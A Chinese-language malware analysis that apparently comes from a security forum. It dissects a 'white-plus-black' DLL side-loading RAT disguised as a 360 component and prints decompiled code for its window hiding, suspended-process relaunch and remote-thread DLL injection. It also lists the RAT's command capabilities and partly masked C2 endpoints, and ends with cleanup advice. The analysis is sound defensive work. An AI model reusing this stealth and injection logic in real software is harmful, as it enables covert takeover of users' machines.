来源
在线沙盒
分析函数
DLLEntryPoint
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if ( fdwReason == 1 )
{
DisableThreadLibraryCalls(hLibModule: hinstDLL);
if ( CheckEnvironment() != 0 ) // 检查环境
{
HideWindows();
MainFunction();
}
else
{
RestartEXE(hModule: hinstDLL);
}
}
return true;
}
- 流程简单,先检测环境后隐藏窗口,开始构建并运行
- 检测失败就重启
CheckEnvironment
int CheckEnvironment()
{
int result; // eax
if ( sub_1001A7F4() != 0 ) // 检查环境变量PRORAM_SL_KEEP是否等于1
return 1;
if ( sub_1001A75E() != 0 ) // 检查360speedld.exe是否运行
return 1;
result = sub_1001A752(); // 检查fixmbr.exe是否运行
if ( result != 0 )
return 1;
return result;
}
int sub_1001A75E()
{
return CheckEXE(a1: "360speedld.exe");
}
CheckEXE
int __cdecl CheckEXE(char *input)
{
char *pInput; // edi
CHAR *v2; // esi
int v3; // ebx
DWORD ModuleFileNameA; // eax
CHAR v5; // al
CHAR *v6; // ecx
char v7; // bl
char v8; // dl
char v9; // cl
CHAR Filename[260]; // [esp+Ch] [ebp-104h] BYREF
pInput = input;
v2 = Filename;
if ( input == nullptr )
return 0;
if ( *input == 0 )
return 0;
v3 = 0;
ModuleFileNameA = GetModuleFileNameA(hModule: nullptr, lpFilename: Filename, nSize: 0x104u);
if ( ModuleFileNameA == 0 || ModuleFileNameA >= 0x104 )
return 0;
v5 = Filename[0];
v6 = Filename;
if ( Filename[0] != 0 )
{
do
{
if ( v5 == '\\' || *v6 == '/' )
v2 = ++v6;
else
++v6;
v5 = *v6;
}
while ( *v6 != '\0' );
if ( *v2 != '\0' )
{
do
{
v7 = *pInput;
if ( *pInput == '\0' )
break;
v8 = *v2++;
++pInput;
v9 = v8 + 32;
if ( (unsigned __int8)(v8 - 'A') > 25u )
v9 = v8;
if ( (unsigned __int8)(v7 - 'A') <= 25u )
v7 += ' ';
if ( v9 != v7 )
return 0;
}
while ( *v2 != '\0' );
v3 = 0;
}
}
if ( *v2 == '\0' && *pInput == '\0' )
return 1;
return v3;
}
- 核对一下input的exe名和当前运行的是否是一个exe
HideWindows
void HideWindows()
{
HANDLE Thread; // eax
if ( (sub_1001A752() != 0 || sub_1001A75E() != 0)// CheckEXE
&& _InterlockedCompareExchange((volatile signed __int32 *)&unk_10021028, 1, 0) == 0 )
{
Thread = CreateThread(
lpThreadAttributes: nullptr,
dwStackSize: 0,
lpStartAddress: (LPTHREAD_START_ROUTINE)sub_1001AAA1,
lpParameter: nullptr,
dwCreationFlags: 0,
lpThreadId: nullptr);
if ( Thread != nullptr )
CloseHandle(hObject: Thread);
}
}
void __stdcall __noreturn sub_1001AAA1(LPVOID lpThreadParameter)
{
int i; // edi
for ( i = 200; i != 0; --i )
{
sub_1001AA8A();
Sleep(dwMilliseconds: 50u);
}
while ( 1 )
{
sub_1001AA8A();
Sleep(dwMilliseconds: 500u);
}
}
BOOL sub_1001AA8A()
{
BOOL result; // eax
result = GetAPIAddrs();
if ( result )
return EnumWindows(lpEnumFunc: EnumFunc, lParam: 0);
return result;
}
BOOL __stdcall EnumFunc(HWND hWnd, LPARAM a2)
{
LONG WindowLongW; // eax
DWORD dwProcessId; // [esp+4h] [ebp-4h] BYREF
dwProcessId = 0;
if ( hWnd != nullptr )
{
GetWindowThreadProcessId(hWnd, lpdwProcessId: &dwProcessId);
if ( dwProcessId == GetCurrentProcessId() )
{
ShowWindow(hWnd, nCmdShow: 0);
if ( GetWindowLongW != nullptr && SetWindowLongW != nullptr )
{
WindowLongW = GetWindowLongW(hWnd, nIndex: -20);
SetWindowLongW(hWnd, nIndex: -20, dwNewLong: WindowLongW & 0xFFFBFF7F | 0x80);
}
}
}
return true;
}
- 有的注释了就不用重复讲了,里面就是CheckEXE单个函数
SetWindowLongW(hWnd, nIndex: -20, dwNewLong: WindowLongW & 0xFFFBFF7F | 0x80);
- 把窗口设置为工具窗口,同时移除 WS_EX_APPWINDOW,让窗口不出现在任务栏。
- 实际上就是隐藏了exe的窗口
MainFunction
void MainFunction()
{
HANDLE Thread; // eax
if ( _InterlockedCompareExchange(&dword_10021020, 1, 0) == 0 )
{
Thread = CreateThread(
lpThreadAttributes: nullptr,
dwStackSize: 0,
lpStartAddress: (LPTHREAD_START_ROUTINE)sub_1001A5DE,
lpParameter: nullptr,
dwCreationFlags: 0,
lpThreadId: nullptr);
if ( Thread != nullptr )
CloseHandle(hObject: Thread);
}
}
// attributes: thunk
void __stdcall __noreturn sub_1001A5DE(LPVOID lpThreadParameter)
{
sub_1001A491();
}
void __noreturn sub_1001A491()
{
CHAR *v0; // edi
_BYTE *v1; // eax
_BYTE *v2; // esi
int v3; // ebx
const WCHAR *CommandLineW; // eax
CHAR *v5; // eax
CHAR *v6; // edi
bool v7; // cc
CHAR *v8; // eax
UINT v9; // eax
_BYTE v10[104]; // [esp+10h] [ebp-68h] BYREF
v0 = (CHAR *)Alloc(dwBytes: 0x800u);
v1 = Alloc(dwBytes: 0xC00u);
v2 = v1;
if ( v0 == nullptr || v1 == nullptr ) // 检查是否分配好内存
Exit_Process(uExitCode: 2u);
v3 = 0;
memset(a1: v1, a2: 0, a3: 0xC00);
memset(a1: v10, a2: 0, a3: 104);
Init(a1: v2 + 1024);
CommandLineW = GetCommandLineW();
Convert(lpWideCharStr: CommandLineW, lpMultiByteStr: v0, cbMultiByte: 2048);
if ( CmdLineHasOption(a1: v0, a2: "--print-capabilities") != 0 )
sub_1001A616();
if ( sub_10015B32(a1: v2 + 2048, a2: v10) == 0 )// 初始化配置并建互斥体
{
WriteLogs(lpBuffer: "duplicate_instance");
OutputLogs(lpBuffer: "duplicate_instance\n");
Exit_Process(uExitCode: 0x11u);
}
*((_DWORD *)v2 + 761) = CmdLineHasOption(a1: v0, a2: "--once");
if ( CmdLineHasOption(a1: v0, a2: "--insecure-tls") != 0 || *((_DWORD *)v2 + 552) == 0 )
v3 = 1;
*((_DWORD *)v2 + 762) = v3;
ChangeServer(a1: v0, a2: v2, a3: 1024);
if ( *v2 == 0 )
{
v5 = (CHAR *)Alloc(dwBytes: 0x400u);
v6 = v5;
if ( v5 == nullptr
|| (v7 = GetEnvironmentVariableA(lpName: "PRORAM_SERVER_URL", lpBuffer: v5, nSize: 0x400u) - 1 <= 0x3FE,
v8 = v6,
!v7) )
{
v8 = v2 + 1024;
}
sub_1001B730(a1: v2, a2: v8);
sub_1001B3E0(lpMem: v6);
}
v9 = sub_1000214F(a1: v2);
Exit_Process(uExitCode: v9);
}
- 我对sub_1001A491函数的部分内容简单重命名并注释了一下
- 深度分析后发现这个就是一个RAT远控程序
- 有着这么多功能
"core.transport.failover,core.transport.websocket,core.transport.dns,core.identity.signed_hello,core.heartbeat.ping_p"
"ong,core.protocol.msgpack,core.transfer.file_upload_v1,system_info.get,diagnostics.get,shell.exec,file_manager.list_"
"dir,file_manager.stat,file_manager.read_small_file,file_manager.download_file,file_manager.upload,file_manager.creat"
"e_file,file_manager.mkdir,file_manager.rename,file_manager.delete,persistence.check,persistence.install,persistence.uninstall"
sub_10015B32
int __cdecl sub_10015B32(int a1, int a2)
{
HANDLE MutexA; // eax
_DWORD v4[4]; // [esp+Ch] [ebp-194h] BYREF
char v5; // [esp+1Ch] [ebp-184h]
_BYTE v6[384]; // [esp+20h] [ebp-180h] BYREF
if ( a2 == 0 )
return 0;
memset(a1: (_BYTE *)a2, a2: 0, a3: 104);
if ( sub_10015964(a1: v6) == 0 )
return 0;
v4[0] = *(_DWORD *)&v6[151];
v4[1] = *(_DWORD *)&v6[155];
v4[2] = *(_DWORD *)&v6[159];
v4[3] = *(_DWORD *)&v6[163];
v5 = 0;
sub_100016E2(a1: "Global\\ProRAM-Agent-");
sub_10001776(a1: v4);
MutexA = CreateMutexA(lpMutexAttributes: nullptr, bInitialOwner: true, lpName: (LPCSTR)(a2 + 8));
*(_DWORD *)a2 = MutexA;
if ( MutexA == nullptr )
return 0;
if ( GetLastError() == 183 )
{
WriteLogs(lpBuffer: "duplicate_instance");
CloseHandle(hObject: *(HANDLE *)a2);
*(_DWORD *)a2 = 0;
return 0;
}
return 1;
}
int __fastcall sub_10015964(int a1, const char *a2, int a3)
{
_BYTE *v5; // esi
_BYTE *v6; // eax
_DWORD v8[18]; // [esp+14h] [ebp-22Ch] BYREF
_BYTE v9[160]; // [esp+5Ch] [ebp-1E4h] BYREF
_BYTE v10[64]; // [esp+13Ch] [ebp-104h] BYREF
CHAR Buffer[96]; // [esp+17Ch] [ebp-C4h] BYREF
_BYTE v12[32]; // [esp+1DCh] [ebp-64h] BYREF
_BYTE v13[32]; // [esp+1FCh] [ebp-44h] BYREF
_BYTE v14[36]; // [esp+21Ch] [ebp-24h] BYREF
if ( a1 == 0 || a3 == 0 )
return 0;
memset(a1: (_BYTE *)a3, a2: 0, a3: 384);
if ( a2 == nullptr || *a2 == 0 )
a2 = "template-build";
if ( sub_1001575B(a1: a2, a2: v12) == 0 )
return 0;
sub_1001A126(a1: v12);
sub_100016E2(a1: v9, a2: 0xA0u, a3: "PRO_RAM_AGENT_HELLO_V1:");
v5 = sub_1001AF30(a1);
if ( (unsigned int)&sub_1001AF30(a1: (int)v9)[(_DWORD)v5 + 1] > 0xA0 )
return 0;
sub_10001776(a1);
v6 = sub_1001AF30(a1: (int)v9);
sub_1001A17C(a1: v6, a2: v14, a3: v10);
sub_10015822(a1: a3 + 96, a2: 48);
sub_10015822(a1: a3 + 288, a2: 96);
sub_10018E93(a1: v13);
sub_100016E2(a1: (_BYTE *)(a3 + 144), a2: 0x48u, a3: "sha256:");
sub_1001B330(a1: v13, a2: 32, a3: a3 + 151, a4: 65);
sub_10015191(a1: a3 + 216);
Buffer[0] = 0;
if ( sub_10014FB0() != 0 )
sub_10014F27(lpName: "PRORAM_AGENT_ID", lpBuffer: Buffer, nSize: 0x60u);
if ( Buffer[0] != 0 )
{
sub_100016E2(a1: (_BYTE *)a3, a2: 0x60u, a3: Buffer);
}
else
{
sub_1001B330(a1: v13, a2: 32, a3: v8, a4: 65);
sub_100016E2(a1: (_BYTE *)a3, a2: 0x60u, a3: "agent_c_");
*(_DWORD *)(a3 + 8) = v8[0];
*(_DWORD *)(a3 + 12) = v8[1];
*(_DWORD *)(a3 + 16) = v8[2];
*(_DWORD *)(a3 + 20) = v8[3];
*(_BYTE *)(a3 + 24) = 0;
}
return 1;
}
- 种子 → 钳位出密钥对 → 签名
PRO_RAM_AGENT_HELLO_V1 身份串并哈希 → 生成 agent_id / 公钥 / 身份指纹 / 主机指纹 / 签名,装入 384B 结构。(sub_10015964),存在identity.bin
- 它既是启动时互斥体名(
Global\ProRAM-Agent-<摘要> 取的就是这里的哈希)的来源,也是每次 C2 握手证明"同一台被控机"的核心材料。
RestartEXE
void __cdecl RestartEXE(HMODULE hModule)
{
DWORD ModuleFileNameA; // eax
ModuleFileNameA = GetModuleFileNameA(hModule, lpFilename: &Buffer, nSize: 0x104u);
if ( ModuleFileNameA == 0 || ModuleFileNameA >= 0x104 )
Buffer = 0;
sub_1001A76A(hModule);
}
int sub_1001A76A(HMODULE hModule)
{
int result; // eax
result = sub_1001A7F4();
if ( result == 0 )
{
result = _InterlockedCompareExchange(&dword_10021024, 1, 0);
if ( result == 0 )
return sub_1001ADE4(lpBuffer: &Buffer);
}
return result;
}
BOOL __cdecl sub_1001ADE4(_BYTE *lpBuffer)
{
BOOL result; // eax
int v2; // esi
CHAR *v3; // eax
CHAR v4[260]; // [esp+8h] [ebp-264h] BYREF
CHAR ApplicationName[260]; // [esp+10Ch] [ebp-160h] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+210h] [ebp-5Ch] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+254h] [ebp-18h] BYREF
LPCVOID lpBaseAddress; // [esp+264h] [ebp-8h] BYREF
LPVOID lpAddress; // [esp+268h] [ebp-4h] BYREF
lpBaseAddress = nullptr;
lpAddress = nullptr;
result = sub_1001ADC2(lpFilename: ApplicationName, nSize: 0x104u);
if ( result )
{
v2 = sub_1001A993(a1: (int)ApplicationName, a2: (unsigned int)v4, a3: 0x104u);
memset(a1: &StartupInfo, a2: 0, a3: 68);
StartupInfo.cb = 68;
memset(a1: &ProcessInformation, a2: 0, a3: 16);
SetEnvironmentVariableA(lpName: "PRORAM_SL_KEEP", lpValue: "1");
v3 = v4;
if ( v2 == 0 )
v3 = nullptr;
if ( CreateProcessA(
lpApplicationName: ApplicationName,
lpCommandLine: nullptr,
lpProcessAttributes: nullptr,
lpThreadAttributes: nullptr,
bInheritHandles: false,
dwCreationFlags: 0x9000004u,
lpEnvironment: nullptr,
lpCurrentDirectory: v3,
lpStartupInfo: &StartupInfo,
lpProcessInformation: &ProcessInformation) )
{
SetEnvironmentVariableA(lpName: "PRORAM_SL_KEEP", lpValue: nullptr);
if ( sub_1001A8EC(hProcess: ProcessInformation.hProcess, a2: (int)&lpBaseAddress) != 0
&& sub_1001A81D(hProcess: ProcessInformation.hProcess, lpBaseAddress, a3: (int)&lpAddress) != 0
&& sub_1001ABA1(hProcess: ProcessInformation.hProcess, lpAddress) != 0
&& ResumeThread(hThread: ProcessInformation.hThread) != -1 )
{
sub_1001AF4D(hThread: ProcessInformation.hThread, a2: (int)lpAddress, a3: 2000);
if ( lpBuffer != nullptr && *lpBuffer != 0 )
sub_1001AC30(hProcess: ProcessInformation.hProcess, lpBuffer);
}
CloseHandle(hObject: ProcessInformation.hThread);
CloseHandle(hObject: ProcessInformation.hProcess);
return true;
}
else
{
SetEnvironmentVariableA(lpName: "PRORAM_SL_KEEP", lpValue: nullptr);
return false;
}
}
return result;
}
总结
- 典型的"白加黑"DLL 侧加载木马
360speedld.exe为正常程序
somkernl.dll 名称冒用正版 360 组件,实际为自研 C2 agent
- 执行流程
360speedld.exe (正版签名)
└─ LoadLibrary somkernl.dll (同目录劫持)
└─ DllMain 0x1001A334
├─ 激活判断 0x1001A7D4:
│ PRORAM_SL_KEEP=1 (0x1001A7F4)
│ 或 进程名==360speedld.exe (0x1001A75E)
│ 或 进程名==fixmbr.exe (0x1001A752)
├─[命中] StartHideWindowsWatchdog 0x1001A712
│ └─ 线程 0x1001AAA1 → EnumWindows:
│ ShowWindow(SW_HIDE) + 去 WS_EX_APPWINDOW 加 WS_EX_TOOLWINDOW
│ (前10s每50ms,之后每500ms,宿主界面完全隐身)
├─[命中] StartAgentThread 0x1001A5E8
│ └─ 线程 0x1001A5DE → AgentMain 0x1001A491
└─[非宿主] 0x1001A78F 缓存DLL自身路径(0x10021030)
→ 0x1001A76A 自举 → 0x1001ADE4:
挂起重启宿主(CREATE_SUSPENDED|NO_WINDOW|BREAKAWAY)
+ 设 PRORAM_SL_KEEP=1 环境变量
+ 0x1001A8EC(NtQueryInformationProcess) / 0x1001A81D(远程PE解析)
+ 0x1001AC30: VirtualAllocEx+WriteProcessMemory+
CreateRemoteThread(LoadLibraryA, DLL路径)
→ 子进程激活 agent
└─ 导出 SomPlugin 0x1001A36B:同样拉起 agent;
若在 360speedld.exe 内 → 0x1001A7BD Sleep(60000) 死循环保活宿主
- C2
- 主通道:
wss://******.com/edge-af6032129bd933a9/agents/stream
- 备用通道:
dns://*****/poram?http=https://*****.com(DNS 隧道)
(这里涉及论坛敏感词了,自行去沙箱看吧)
- 协议
- WebSocket RFC6455 + MsgPack
清除建议
- 整包按木马处置;
360speedld.exe 本身干净(360 正版),但同目录 DLL 必须删除,勿单独放行该目录
- 检查并清理上述注册表 Run 项与
%ProgramData%\ProRAM、%LOCALAPPDATA% 下的 identity/状态文件
- 封锁两个 C2 域名的 DNS/出网;WSS 443 + DNS 53 需一起查
- 若机器曾运行:排查进程树中无窗口的
360speedld.exe、异常 LoadLibrary 注入行为及 fixmbr.exe 落地